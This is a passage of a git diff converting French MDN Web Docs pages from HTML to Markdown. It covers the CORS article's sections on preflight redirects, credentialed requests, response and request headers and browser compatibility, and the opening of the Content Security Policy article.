navigateur possède[ un maximum interne](/fr/docs/Web/HTTP/Headers/Access-Control-Max-Age) qui a la priorité lorsque `Access-Control-Max-Age` lui est supérieur. -<blockquote> -<p>La requête a été redirigée vers 'https://example.com/toto', ce qui n'est pas autorisé pour les requêtes multi-origines qui doivent être précédées d'une requête préliminaire. (<em>The request was redirected to 'https://example.com/toto', which is disallowed for cross-origin requests that require preflight.</em>)</p> -</blockquote> +#### Requêtes préliminaires et redirection -<blockquote> -<p>Il est nécessaire d'effectuer une requête préliminaire pour cette requête, or, ceci n'est pas autorisé pour suivre les redirections multi-origines. (<em>Request requires preflight, which is disallowed to follow cross-origin redirect.</em>)</p> -</blockquote> +À l'heure actuelle, la plupart des navigateurs ne prennent pas en charge les redirections pour les requêtes préliminaires. Si une redirection se produit pour une requête préliminaire, la plupart des navigateurs émettront un message d'erreur semblables à ceux-ci. -<p>Le protocole CORS demandait initialement ce comportement. Toutefois, <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">il a été modifié et ces erreurs ne sont plus nécessaires</a>. Toutefois, la plupart des navigateurs n'ont pas encore implémenté cette modification et conservent alors le comportement conçu initialement.</p> +> La requête a été redirigée vers 'https\://example.com/toto', ce qui n'est pas autorisé pour les requêtes multi-origines qui doivent être précédées d'une requête préliminaire. (_The request was redirected to 'https\://example.com/toto', which is disallowed for cross-origin requests that require preflight._) -<p>En attendant que les navigateurs comblent ce manque, il est possible de contourner cette limitation en utilisant l'une de ces deux méthodes :</p> +> Il est nécessaire d'effectuer une requête préliminaire pour cette requête, or, ceci n'est pas autorisé pour suivre les redirections multi-origines. (_Request requires preflight, which is disallowed to follow cross-origin redirect._) -<ul> - <li>Modifier le comportement côté serveur afin d'éviter la requête préliminaire ou la redirection (dans le cas où vous contrôler le serveur sur lequel la requête est effectuée)</li> - <li>Modifier la requête afin que ce soit une <a href="#simples">requête simple</a> qui ne nécessite pas de requête préliminaire.</li> -</ul> +Le protocole CORS demandait initialement ce comportement. Toutefois, [il a été modifié et ces erreurs ne sont plus nécessaires](https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2). Toutefois, la plupart des navigateurs n'ont pas encore implémenté cette modification et conservent alors le comportement conçu initialement. -<p>S'il n'est pas possible d'appliquer ces changements, on peut également :</p> +En attendant que les navigateurs comblent ce manque, il est possible de contourner cette limitation en utilisant l'une de ces deux méthodes : -<ol> - <li>Effectuer <a href="#simples">une requête simple</a> (avec <code><a href="/fr/docs/Web/API/Response/url">Response.url</a></code> si on utilise l'API Fetch ou <code><a href="/fr/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a></code> si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire.</li> - <li>Effectuer la requête initialement souhaitée avec l'URL <em>réelle</em> obtenue à la première étape.</li> -</ol> +- Modifier le comportement côté serveur afin d'éviter la requête préliminaire ou la redirection (dans le cas où vous contrôler le serveur sur lequel la requête est effectuée) +- Modifier la requête afin que ce soit une [requête simple](#simples) qui ne nécessite pas de requête préliminaire. -<p>Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème.</p> +S'il n'est pas possible d'appliquer ces changements, on peut également : -<h3 id="Requêtes_avec_informations_dauthentification">Requêtes avec informations d'authentification</h3> +1. Effectuer [une requête simple](#simples) (avec [`Response.url`](/fr/docs/Web/API/Response/url) si on utilise l'API Fetch ou [`XHR.responseURL`](/fr/docs/Web/API/XMLHttpRequest/responseURL) si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire. +2. Effectuer la requête initialement souhaitée avec l'URL _réelle_ obtenue à la première étape. -<p>Une des fonctionnalités intéressante mise en avant par le CORS (via {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a>) est la possibilité d'effectuer des requêtes authentifiées reconnaissant les <a href="/fr/docs/Web/HTTP/Cookies">cookies HTTP</a> et les informations d'authentification HTTP. Par défaut, lorsqu'on réalise des appels {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a> entre différents sites, les navigateurs n'enverront pas les informations d'authentification. Pour cela, il est nécessaire d'utiliser une option spécifique avec le constructeur {{domxref("XMLHttpRequest")}} ou {{domxref("Request")}} lorsqu'on l'appelle.</p> +Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème. -<p>Dans cet exemple, le contenu chargé depuis <code>http://toto.example</code> effectue une requête GET simple vers une ressource située sous <code>http://truc.autre</code> qui définit des <em>cookies</em>. Voici un exemple de code JavaScript qui pourrait se trouver sur <code>toto.example</code> :</p> +### Requêtes avec informations d'authentification -<pre class="brush: js">var invocation = new XMLHttpRequest(); +Une des fonctionnalités intéressante mise en avant par le CORS (via {{domxref("XMLHttpRequest")}} ou [Fetch](/fr/docs/Web/API/Fetch_API)) est la possibilité d'effectuer des requêtes authentifiées reconnaissant les [cookies HTTP](/fr/docs/Web/HTTP/Cookies) et les informations d'authentification HTTP. Par défaut, lorsqu'on réalise des appels {{domxref("XMLHttpRequest")}} ou [Fetch](/fr/docs/Web/API/Fetch_API) entre différents sites, les navigateurs n'enverront pas les informations d'authentification. Pour cela, il est nécessaire d'utiliser une option spécifique avec le constructeur {{domxref("XMLHttpRequest")}} ou {{domxref("Request")}} lorsqu'on l'appelle. + +Dans cet exemple, le contenu chargé depuis `http://toto.example` effectue une requête GET simple vers une ressource située sous `http://truc.autre` qui définit des _cookies_. Voici un exemple de code JavaScript qui pourrait se trouver sur `toto.example` : + +```js +var invocation = new XMLHttpRequest(); var url = 'http://truc.autre/resources/credentialed-content/'; function callOtherDomain(){ @@ -353,202 +324,174 @@ function callOtherDomain(){ invocation.onreadystatechange = handler; invocation.send(); } -}</pre> +} +``` + +À la ligne 7, on voit que l'option `withCredentials`, du constructeur {{domxref("XMLHttpRequest")}}, doit être activée pour que l'appel utilise les _cookies_. Par défaut, l'appel sera réalisé sans les _cookies_. Cette requête étant une simple requête `GET`, il n'est pas nécessaire d'avoir une requête préliminaire. Cependant, le navigateur rejettera tout réponse qui ne possède pas l'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}}`: true` et la réponse correspondante ne sera pas disponible pour le contenu web qui l'a demandée. -<p>À la ligne 7, on voit que l'option <code>withCredentials</code>, du constructeur {{domxref("XMLHttpRequest")}}, doit être activée pour que l'appel utilise les <em>cookies</em>. Par défaut, l'appel sera réalisé sans les <em>cookies</em>. Cette requête étant une simple requête <code>GET</code>, il n'est pas nécessaire d'avoir une requête préliminaire. Cependant, le navigateur rejettera tout réponse qui ne possède pas l'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> et la réponse correspondante ne sera pas disponible pour le contenu web qui l'a demandée.</p> +![](cred-req-updated.png) -<p><img alt="" src="cred-req-updated.png"></p> +Voici un exemple d'échange entre le client et le serveur : -<p>Voici un exemple d'échange entre le client et le serveur :</p> + GET /resources/access-control-with-credentials/ HTTP/1.1 + Host: truc.autre + User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-us,en;q=0.5 + Accept-Encoding: gzip,deflate + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 + Connection: keep-alive + Referer: http://toto.example/exemples/credential.html + Origin: http://toto.example + Cookie: pageAccess=2 -<pre>GET /resources/access-control-with-credentials/ HTTP/1.1 -Host: truc.autre -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://toto.example/exemples/credential.html -Origin: http://toto.example -Cookie: pageAccess=2 + HTTP/1.1 200 OK + Date: Mon, 01 Dec 2008 01:34:52 GMT + Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 + X-Powered-By: PHP/5.2.6 + Access-Control-Allow-Origin: http://toto.example + Access-Control-Allow-Credentials: true + Cache-Control: no-cache + Pragma: no-cache + Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT + Vary: Accept-Encoding, Origin + Content-Encoding: gzip + Content-Length: 106 + Keep-Alive: timeout=2, max=100 + Connection: Keep-Alive + Content-Type: text/plain -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:34:52 GMT -Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 -X-Powered-By: PHP/5.2.6 -Access-Control-Allow-Origin: http://toto.example -Access-Control-Allow-Credentials: true -Cache-Control: no-cache -Pragma: no-cache -Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 106 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain + [text/plain payload] -[text/plain payload] -</pre> +Bien que la ligne 11 contienne le _cookie_ pour le contenu sous `http://truc.autre`, si `truc.autre` n'avait pas répondu avec {{HTTPHeader("Access-Control-Allow-Credentials")}}`: true` (cf. ligne 19), la réponse aurait été ignorée et n'aurait pas pu être consommée par le contenu web. -<p>Bien que la ligne 11 contienne le <em>cookie</em> pour le contenu sous <code>http://truc.autre</code>, si <code>truc.autre</code> n'avait pas répondu avec {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (cf. ligne 19), la réponse aurait été ignorée et n'aurait pas pu être consommée par le contenu web.</p> +#### Requêtes authentifiées et jokers (_wildcards_) -<h4 id="Requêtes_authentifiées_et_jokers_wildcards">Requêtes authentifiées et jokers (<em>wildcards</em>)</h4> +Lorsqu'il répond à une requête authentifiée, le serveur **doit** indiquer une origine via la valeur de l'en-tête `Access-Control-Allow-Origin`, il ne doit pas utiliser le joker "`*`". -<p>Lorsqu'il répond à une requête authentifiée, le serveur <strong>doit</strong> indiquer une origine via la valeur de l'en-tête <code>Access-Control-Allow-Origin</code>, il ne doit pas utiliser le joker "<code>*</code>".</p> +Avec la requête précédente, on voit la présence d'un en-tête `Cookie` mais la requête échouerait si la valeur de l'en-tête de réponse `Access-Control-Allow-Origin` était "`*`". Ici, ce n'est pas le cas : `Access-Control-Allow-Origin` vaut "`http://toto.example`" et le contenu récupéré par la requête est alors envoyé au contenu web. -<p>Avec la requête précédente, on voit la présence d'un en-tête <code>Cookie</code> mais la requête échouerait si la valeur de l'en-tête de réponse <code>Access-Control-Allow-Origin</code> était "<code>*</code>". Ici, ce n'est pas le cas : <code>Access-Control-Allow-Origin</code> vaut "<code>http://toto.example</code>" et le contenu récupéré par la requête est alors envoyé au contenu web.</p> +Dans cet exemple, on notera également que l'en-tête de réponse `Set-Cookie` définit un autre _cookie_. En cas d'échec, une exception (dépendant de l'API utilisée) sera levée. -<p>Dans cet exemple, on notera également que l'en-tête de réponse <code>Set-Cookie</code> définit un autre <em>cookie</em>. En cas d'échec, une exception (dépendant de l'API utilisée) sera levée.</p> +#### _Cookies_ tiers -<h4 id="Cookies_tiers"><em>Cookies</em> tiers</h4> +On notera que les _cookies_ provenant de réponses CORS sont également sujets aux règles qui s'appliquent aux _cookies_ tiers. Dans l'exemple précédent, la page est chargée depuis `toto.example` et, à la ligne 22, le _cookie_ est envoyé par `truc.autre`. Aussi, ce _cookie_ n'aurait pas été enregistré si l'utilisateur avait paramétré son navigateur pour rejeter les _cookies_ tiers. -<p>On notera que les <em>cookies</em> provenant de réponses CORS sont également sujets aux règles qui s'appliquent aux <em>cookies</em> tiers. Dans l'exemple précédent, la page est chargée depuis <code>toto.example</code> et, à la ligne 22, le <em>cookie</em> est envoyé par <code>truc.autre</code>. Aussi, ce <em>cookie</em> n'aurait pas été enregistré si l'utilisateur avait paramétré son navigateur pour rejeter les <em>cookies</em> tiers.</p> +## En-têtes de réponse HTTP -<h2 id="En-têtes_de_réponse_HTTP">En-têtes de réponse HTTP</h2> +Dans cette section, on liste les en-têtes de réponse HTTP qui sont renvoyés par le serveur pour le contrôle d'accès, tels que définis par la spécification _Cross-Origin Resource Sharing_. La section précédente illustre, avec des exemples concrets, leur fonctionnement. -<p>Dans cette section, on liste les en-têtes de réponse HTTP qui sont renvoyés par le serveur pour le contrôle d'accès, tels que définis par la spécification <em>Cross-Origin Resource Sharing</em>. La section précédente illustre, avec des exemples concrets, leur fonctionnement.</p> +### `Access-Control-Allow-Origin` -<h3 id="Access-Control-Allow-Origin"><code>Access-Control-Allow-Origin</code></h3> +Une ressource de réponse peut avoir un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} avec la syntaxe suivante : -<p>Une ressource de réponse peut avoir un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} avec la syntaxe suivante :</p> + Access-Control-Allow-Origin: <origin> | * -<pre>Access-Control-Allow-Origin: <origin> | * -</pre> +Le paramètre `origin` définit un URI qui peut accéder à la ressource. Le navigateur doit respecter cette contrainte. Pour les requêtes qui n'impliquent pas d'informations d'authentification, le serveur pourra indiquer un joker ("`*`") qui permet à n'importe quelle origine d'accéder à la ressource. -<p>Le paramètre <code>origin</code> définit un URI qui peut accéder à la ressource. Le navigateur doit respecter cette contrainte. Pour les requêtes qui n'impliquent pas d'informations d'authentification, le serveur pourra indiquer un joker ("<code>*</code>") qui permet à n'importe quelle origine d'accéder à la ressource.</p> +Si on souhaite, par exemple, autoriser `http://mozilla.org` à accéder à la ressource, on pourra répondre avec : -<p>Si on souhaite, par exemple, autoriser <code>http://mozilla.org</code> à accéder à la ressource, on pourra répondre avec :</p> + Access-Control-Allow-Origin: http://mozilla.org -<pre>Access-Control-Allow-Origin: http://mozilla.org</pre> +Si le serveur indique une origine spécifique plutôt que "`*`", il pourra également inclure la valeur `Origin` dans l'en-tête de réponse {{HTTPHeader("Vary")}} pour indiquer au client que la réponse du serveur variera selon la valeur de l'en-tête de requête {{HTTPHeader("Origin")}}. -<p>Si le serveur indique une origine spécifique plutôt que "<code>*</code>", il pourra également inclure la valeur <code>Origin</code> dans l'en-tête de réponse {{HTTPHeader("Vary")}} pour indiquer au client que la réponse du serveur variera selon la valeur de l'en-tête de requête {{HTTPHeader("Origin")}}.</p> +### `Access-Control-Expose-Headers` -<h3 id="Access-Control-Expose-Headers"><code>Access-Control-Expose-Headers</code></h3> +L'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} fournit une liste blanche des en-têtes auxquels les navigateurs peuvent accéder. Ainsi : -<p>L'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} fournit une liste blanche des en-têtes auxquels les navigateurs peuvent accéder. Ainsi :</p> + Access-Control-Expose-Headers: X-Mon-En-tete-Specifique, X-Un-Autre-En-tete -<pre>Access-Control-Expose-Headers: X-Mon-En-tete-Specifique, X-Un-Autre-En-tete -</pre> +Cela permettra que les en-têtes `X-Mon-En-tete-Specifique` et `X-Un-Autre-En-tete` soient utilisés par le navigateur. -<p>Cela permettra que les en-têtes <code>X-Mon-En-tete-Specifique</code> et <code>X-Un-Autre-En-tete</code> soient utilisés par le navigateur.</p> +### `Access-Control-Max-Age` -<h3 id="Access-Control-Max-Age"><code>Access-Control-Max-Age</code></h3> +L'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique la durée pendant laquelle le résultat de la requête préliminaire peut être mis en cache (voir les exemples ci-avant pour des requêtes impliquant des requêtes préliminaires). -<p>L'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique la durée pendant laquelle le résultat de la requête préliminaire peut être mis en cache (voir les exemples ci-avant pour des requêtes impliquant des requêtes préliminaires).</p> + Access-Control-Max-Age: <delta-en-secondes> -<pre>Access-Control-Max-Age: <delta-en-secondes> -</pre> +Le paramètre `delta-en-seconds` indique le nombre de secondes pendant lesquelles les résultats peuvent être mis en cache. -<p>Le paramètre <code>delta-en-seconds</code> indique le nombre de secondes pendant lesquelles les résultats peuvent être mis en cache.</p> +### `Access-Control-Allow-Credentials` -<h3 id="Access-Control-Allow-Credentials"><code>Access-Control-Allow-Credentials</code></h3> +L'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}} indique si la réponse à la requête doit être exposée lorsque l'option `credentials` vaut `true`. Lorsque cet en-tête est utilisé dans une réponse préliminaire, cela indique si la requête principale peut ou non être effectuée avec des informations d'authentification. On notera que les requêtes `GET` sont des requêtes simples et si une requête est effectuée, avec des informations d'authentification pour une ressource, et que cet en-tête n'est pas renvoyé, la réponse sera ignorée par le navigateur et sa charge ne pourra pas être consommée par le contenu web. -<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}} indique si la réponse à la requête doit être exposée lorsque l'option <code>credentials</code> vaut <code>true</code>. Lorsque cet en-tête est utilisé dans une réponse préliminaire, cela indique si la requête principale peut ou non être effectuée avec des informations d'authentification. On notera que les requêtes <code>GET</code> sont des requêtes simples et si une requête est effectuée, avec des informations d'authentification pour une ressource, et que cet en-tête n'est pas renvoyé, la réponse sera ignorée par le navigateur et sa charge ne pourra pas être consommée par le contenu web.</p> + Access-Control-Allow-Credentials: true -<pre>Access-Control-Allow-Credentials: true -</pre> +[Voir les scénarios ci-avant pour des exemples](#credentials). -<p><a href="#credentials">Voir les scénarios ci-avant pour des exemples</a>.</p> +### `Access-Control-Allow-Methods` -<h3 id="Access-Control-Allow-Methods"><code>Access-Control-Allow-Methods</code></h3> +L'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique la ou les méthodes qui sont autorisées pour accéder à la ressoure. Cet en-tête est utilisé dans la réponse à la requête préliminaire (voir ci-avant [les conditions dans lesquelles une requête préliminaire est nécessaire](#preflight)). -<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique la ou les méthodes qui sont autorisées pour accéder à la ressoure. Cet en-tête est utilisé dans la réponse à la requête préliminaire (voir ci-avant <a href="#preflight">les conditions dans lesquelles une requête préliminaire est nécessaire</a>).</p> + Access-Control-Allow-Methods: <methode>[, <methode>]* -<pre>Access-Control-Allow-Methods: <methode>[, <methode>]* -</pre> +[Voir un exemple ci-avant pour l'utilisation de cet en-tête](#preflight). -<p><a href="#preflight">Voir un exemple ci-avant pour l'utilisation de cet en-tête</a>.</p> +### `Access-Control-Allow-Headers` -<h3 id="Access-Control-Allow-Headers"><code>Access-Control-Allow-Headers</code></h3> +L'en-tête {{HTTPHeader("Access-Control-Allow-Headers")}} est utilisé dans une réponse à une requête préliminaire afin d'indiquer les en-têtes HTTP qui peuvent être utilisés lorsque la requête principale est envoyée. -<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Headers")}} est utilisé dans une réponse à une requête préliminaire afin d'indiquer les en-têtes HTTP qui peuvent être utilisés lorsque la requête principale est envoyée.</p> + Access-Control-Allow-Headers: <nom-champ>[, <nom-champ>]* -<pre>Access-Control-Allow-Headers: <nom-champ>[, <nom-champ>]* -</pre> +## En-têtes de requête HTTP -<h2 id="En-têtes_de_requête_HTTP">En-têtes de requête HTTP</h2> +Dans cette section, nous allons décrire les en-têtes que les clients peuvent utiliser lors de l'envoi de requêtes HTTP afin d'exploiter les fonctionnalités du CORS. Ces en-têtes sont souvent automatiquement renseignés lors d'appels aux serveurs. Les développeurs qui utilisent {{domxref("XMLHttpRequest")}} pour les requêtes multi-origines n'ont pas besoin de paramétrer ces en-têtes dans le code JavaScript. -<p>Dans cette section, nous allons décrire les en-têtes que les clients peuvent utiliser lors de l'envoi de requêtes HTTP afin d'exploiter les fonctionnalités du CORS. Ces en-têtes sont souvent automatiquement renseignés lors d'appels aux serveurs. Les développeurs qui utilisent {{domxref("XMLHttpRequest")}} pour les requêtes multi-origines n'ont pas besoin de paramétrer ces en-têtes dans le code JavaScript.</p> +### `Origin` -<h3 id="Origin"><code>Origin</code></h3> +L'en-tête {{HTTPHeader("Origin")}} indique l'origine de la requête (principale ou préliminaire) pour l'accès multi-origine. -<p>L'en-tête {{HTTPHeader("Origin")}} indique l'origine de la requête (principale ou préliminaire) pour l'accès multi-origine.</p> + Origin: <origine> -<pre>Origin: <origine> -</pre> +L'origine est un URI qui indique le serveur à partir duquel la requête a été initiée. Elle n'inclut aucune information relative au chemin mais contient uniquement le nom du serveur. -<p>L'origine est un URI qui indique le serveur à partir duquel la requête a été initiée. Elle n'inclut aucune information relative au chemin mais contient uniquement le nom du serveur.</p> +> **Note :** `origine` peut être une chaîne vide (ce qui s'avère notamment utile lorsque la source est une URL de donnée). -<div class="note"> - <p><strong>Note :</strong> <code>origine</code> peut être une chaîne vide (ce qui s'avère notamment utile lorsque la source est une URL de donnée).</p> -</div> +Pour chaque requête avec contrôle d'accès, l'en-tête {{HTTPHeader("Origin")}} sera **toujours** envoyé. -<p>Pour chaque requête avec contrôle d'accès, l'en-tête {{HTTPHeader("Origin")}} sera <strong>toujours</strong> envoyé.</p> +### `Access-Control-Request-Method` -<h3 id="Access-Control-Request-Method"><code>Access-Control-Request-Method</code></h3> +L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} est utilisé lorsqu'on émet une requête préliminaire afin de savoir quelle méthode HTTP pourra être utilisée avec la requête principale. -<p>L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} est utilisé lorsqu'on émet une requête préliminaire afin de savoir quelle méthode HTTP pourra être utilisée avec la requête principale.</p> + Access-Control-Request-Method: <methode> -<pre>Access-Control-Request-Method: <methode> -</pre> +Voir [ci-avant pour des exemples d'utilisation de cet en-tête](#preflight). -<p>Voir <a href="#preflight">ci-avant pour des exemples d'utilisation de cet en-tête</a>.</p> +### `Access-Control-Request-Headers` -<h3 id="Access-Control-Request-Headers"><code>Access-Control-Request-Headers</code></h3> +L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} est utilisé lorsqu'on émet une requête préliminaire afin de communiquer au serveur les en-têtes HTTP qui seront utilisés avec la requête principale. -<p>L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} est utilisé lorsqu'on émet une requête préliminaire afin de communiquer au serveur les en-têtes HTTP qui seront utilisés avec la requête principale.</p> + Access-Control-Request-Headers: <nom-champ>[, <nom-champ>]* -<pre>Access-Control-Request-Headers: <nom-champ>[, <nom-champ>]* -</pre> +Voir [ci-avant pour des exemples d'utilisation de cet en-tête](#preflight). -<p>Voir <a href="#preflight">ci-avant pour des exemples d'utilisation de cet en-tête</a>.</p> +## Spécifications -<h2 id="Spécifications">Spécifications</h2> +| Spécification | État | Commentaires | +| ---------------------------------------------------------------- | ------------------------ | ----------------------------------------------------------------------------------------------- | +| {{SpecName('Fetch', '#cors-protocol', 'CORS')}} | {{Spec2('Fetch')}} | Nouvelle définition, remplace la spécification [W3C pour le CORS](https://www.w3.org/TR/cors/). | -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">État</th> - <th scope="col">Commentaires</th> - </tr> - <tr> - <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td>Nouvelle définition, remplace la spécification <a href="https://www.w3.org/TR/cors/">W3C pour le CORS</a>.</td> - </tr> - </tbody> -</table> +## Compatibilité des navigateurs -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +{{Compat("http.headers.Access-Control-Allow-Origin")}} -<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> +### Notes de compatibilité -<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3> +- Internet Explorer 8 et 9 exposent les fonctionnalités relatives au CORS via l'objet `XDomainRequest`. L'implémentation complète est disponible à partir d'IE 10. +- Bien que Firefox 3.5 ait introduit la prise en charge des requêtes `XMLHttpRequest` entre différents sites et des polices web, certaines requêtes étaient limitées jusqu'à des versions ultérieures. Plus précisément, Firefox 7 permet les requêtes multi-origines pour les textures WebGL et Firefox 9 permet la récupération d'images dessinées sur un canevas via `drawImage`. -<ul> - <li>Internet Explorer 8 et 9 exposent les fonctionnalités relatives au CORS via l'objet <code>XDomainRequest</code>. L'implémentation complète est disponible à partir d'IE 10.</li> - <li>Bien que Firefox 3.5 ait introduit la prise en charge des requêtes <code>XMLHttpRequest</code> entre différents sites et des polices web, certaines requêtes étaient limitées jusqu'à des versions ultérieures. Plus précisément, Firefox 7 permet les requêtes multi-origines pour les textures WebGL et Firefox 9 permet la récupération d'images dessinées sur un canevas via <code>drawImage</code>.</li> -</ul> +## Voir aussi -<h2 id="Voir_aussi">Voir aussi</h2> +- [Exemples de codes utilisant `XMLHttpRequest` et le CORS (en anglais)](https://arunranga.com/examples/access-control/) +- [Exemples de code côté client et côté serveur utilisant le CORS (en anglais)](https://github.com/jackblackevo/cors-jsonp-sample) +- [Le CORS vu côté serveur (PHP, etc.)](/fr/docs/Web/HTTP/Server-Side_Access_Control) +- {{domxref("XMLHttpRequest")}} +- [L'API Fetch](/fr/docs/Web/API/Fetch_API) +- [Utiliser le CORS - HTML5 Rocks (en anglais)](https://www.html5rocks.com/en/tutorials/cors/) +- [Une réponse Stack Overflow pour répondre aux problèmes fréquemment posés par le CORS (en anglais)](https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141) : -<ul> - <li><a class="external" href="https://arunranga.com/examples/access-control/">Exemples de codes utilisant <code>XMLHttpRequest</code> et le CORS (en anglais)</a></li> - <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Exemples de code côté client et côté serveur utilisant le CORS (en anglais)</a></li> - <li><a href="/fr/docs/Web/HTTP/Server-Side_Access_Control">Le CORS vu côté serveur (PHP, etc.)</a></li> - <li>{{domxref("XMLHttpRequest")}}</li> - <li><a href="/fr/docs/Web/API/Fetch_API">L'API Fetch</a></li> - <li><a href="https://www.html5rocks.com/en/tutorials/cors/">Utiliser le CORS - HTML5 Rocks (en anglais)</a></li> - <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Une réponse Stack Overflow pour répondre aux problèmes fréquemment posés par le CORS (en anglais)</a> : - <ul> - <li>Comment éviter les requêtes préliminaires</li> - <li>Comment utiliser un proxy CORS pour contourner <em>No Access-Control-Allow-Origin header</em></li> - <li>Comment corriger <em>Access-Control-Allow-Origin header must not be the wildcard</em></li> - </ul> - </li> -</ul>
\ No newline at end of file + - Comment éviter les requêtes préliminaires + - Comment utiliser un proxy CORS pour contourner _No Access-Control-Allow-Origin header_ + - Comment corriger _Access-Control-Allow-Origin header must not be the wildcard_ diff --git a/files/fr/web/http/csp/index.md b/files/fr/web/http/csp/index.md index fa2f565dd8..69065b9743 100644 --- a/files/fr/web/http/csp/index.md +++ b/files/fr/web/http/csp/index.md @@ -8,179 +8,175 @@ tags: - Security translation_of: Web/HTTP/CSP --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p><strong>Une <em>Content Security Policy ({{Glossary("CSP")}})</em> ou stratégie de sécurité du contenu</strong> permet d'améliorer la sécurité des sites web en permettant de détecter et réduire certains types d'attaques, dont les attaques {{Glossary("XSS")}} (<em>Cross Site Scripting</em>) et les injections de contenu. Ces attaques peuvent être utilisées dans divers buts, comme le vol de données, le défacement de site ou la diffusion de <em>malware</em>.</p> +**Une _Content Security Policy ({{Glossary("CSP")}})_ ou stratégie de sécurité du contenu** permet d'améliorer la sécurité des sites web en permettant de détecter et réduire certains types d'attaques, dont les attaques {{Glossary("XSS")}} (_Cross Site Scripting_) et les injections de contenu. Ces attaques peuvent être utilisées dans divers buts, comme le vol de données, le défacement de site ou la diffusion de _malware_. -<p>CSP a été conçu pour être complètement rétro-compatible (à l'exception de la version 2 dans laquelle existent des incompatibilités décrites explicitement comme telles ; pour plus d'informations, se référer à <a href="https://www.w3.org/TR/CSP2">la documentation du w3c (en anglais)</a>). D'une part : les navigateurs qui ne prennent pas en charge le CSP fonctionnent parfaitement avec les serveurs qui l'implémentent et inversement. D'autre part, lorsque les sites ne fournissent pas les en-têtes correspondant, les navigateurs utilisent la règle de même origine (<em>same-origin policy</em>) pour les contenus.</p> +CSP a été conçu pour être complètement rétro-compatible (à l'exception de la version 2 dans laquelle existent des incompatibilités décrites explicitement comme telles ; pour plus d'informations, se référer à [la documentation du w3c (en anglais)](https://www.w3.org/TR/CSP2)). D'une part : les navigateurs qui ne prennent pas en charge le CSP fonctionnent parfaitement avec les serveurs qui l'implémentent et inversement. D'autre part, lorsque les sites ne fournissent pas les en-têtes correspondant, les navigateurs utilisent la règle de même origine (_same-origin policy_) pour les contenus. -<p>Pour activer CSP, vous devez configurer vos serveurs web afin d'ajouter un en-tête (<em>header</em>) HTTP {{HTTPHeader("Content-Security-Policy")}} aux réponses. Vous pouvez rencontrer des documents qui mentionnent <code>X-Content-Security-Policy</code> comme en-tête, il s'agit d'une version obsolète qu'il n'est plus utile de supporter.</p> +Pour activer CSP, vous devez configurer vos serveurs web afin d'ajouter un en-tête (_header_) HTTP {{HTTPHeader("Content-Security-Policy")}} aux réponses. Vous pouvez rencontrer des documents qui mentionnent `X-Content-Security-Policy` comme en-tête, il s'agit d'une version 